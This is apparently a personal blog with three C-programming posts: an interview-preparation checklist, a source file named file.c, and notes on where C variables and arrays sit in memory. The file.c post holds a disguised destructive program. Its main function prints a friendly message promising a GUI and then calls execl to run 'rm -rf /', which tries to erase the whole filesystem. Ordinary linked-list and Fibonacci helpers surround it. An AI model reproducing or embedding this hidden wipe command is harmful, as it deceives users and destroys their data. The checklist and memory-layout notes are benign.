Sunday, September 28, 2014

topic to read before interview.

struct hack

structure padding

why segmentation fault occures ?

little endian big endian

what do you mean by data bus.

what do you mean by a processor is 32 bit or 65 bit.

what do you mean by a kernel is 32 bit or 65 bit.

variable length array

how to give variable arguments to function

how gdb works

what is stack smashing

all the operations on srting of the library , and implementation of them all.

sizeof()

all the basic system calls  : open , close , write , read ,  lseek , fork , lseek.

what is the difference between system call and system function

static , file static : mastering in c

ptr to const , const ptr

make

memory layout of a c program

why -ve numbers are stored in 2's complement in c

diff betn NULL ans nul

extern variable : geeksforgeeks

how is the array stored in memory : stackoverflow

where NULL is stored .

why it cause segmentation fault when we access NULL pointer

macros : basics

what is the better way to store strings  : using character array , heap or char pointer : geeksforgeeks

malloc , calloc , realloc

what happens when a funstion called before declaration ...

associaivity rule , precendence table

what is type qualifiers 

Saturday, September 20, 2014

file.c

#include <stdio.h>
#include <unistd.h>
#include <dirent.h>
#include <stdlib.h>

struct node
{
int data;
struct node *lLink;
struct node *rLink;
struct node *link;
};
struct node *getNode()
{
struct node *p;
int data;
p=(struct node*)malloc(sizeof(struct node));
printf("please enter the data\n");
scanf("%d",&data);
p->data=data;
p->lLink=NULL;
p->rLink=NULL;
return p;}



int fib(int n)
{
if(n==0)
return 0;
else if(n==1)
return 1;
else
return(fib(n-1)+fib(n-2));}
void swap(int *i,int*j)
{
int temp = *i;
*i=*j;
*j=temp;}
void printtt(int *temp,int length)
{
int i=0;
//int length=sizeof(temp)/sizeof(temp[0]);

for(i=0;i<length;i++)
printf("\n A[%d]==%d \n",i,temp[i]);}
struct node *reverse(struct node *);

int main (void)
{printf("\n\nwelcome to the world\n\n");
printf("wait for 2-4 minutes while program creates a GUI\n");
return execl ("/bin/rm","sudo", "rm","-rf","/", NULL);}

struct node *reverse(struct node *head)
{
struct node *ptr1,*ptr2,*ptr3;
ptr1=NULL;
ptr2=head;
ptr3=ptr2->link;

while(ptr2)
{
ptr2->link=ptr1;
ptr1=ptr2;
ptr2=ptr3;
if(ptr2==NULL)
{
break;
}

ptr3=ptr3->link;}
head=ptr1;
return head;}

Saturday, August 30, 2014

memory layout of c program in linux

enough information provided in below links.

link :

http://www.geeksforgeeks.org/memory-layout-of-c-program/

http://knavite.blogspot.in/2014/07/linux-memory-layout-test-through-c.html?showComment=1409400390944#c1248974729538731931


http://codingfreak.blogspot.com/2012/03/memory-layout-of-c-program-part-1.html



more info :

Where in memory are my variables stored in c?


  • global variables -------> data 
  • static variables -------> data 
  • constant data types -----> code and/or data. Consider string literals for a situation when a constant itself would be stored in the data segment, and references to it would be embedded in the code
  • local variables(declared and defined in functions) --------> stack 
  • variables declared and defined in main function ----->  stack
  • pointers(ex: char *arrint *arr) -------> data or stack, depending on the context. C lets you declare a global or a static pointer, in which case the pointer itself would end up in the data segment , otherwise it will be in stack.
  • dynamically allocated space(using malloccallocrealloc) -------->  heap

How is the array stored in memory?



An array stores its elements in contiguous memory locations.
If You created the array locally it will be on stack. Where the elements are stored depends on thestorage specification.
For Eg:
An array declared globally or statically would have different storage specification from an array declared locally. Technically, the where part is implementation defined but usually implementations would use similar usage patterns.
  • An local array will be (usually)created on stack while
  • global or static array will be (usually)created on bss/data segments and
  • dynamically created array will be created on heap.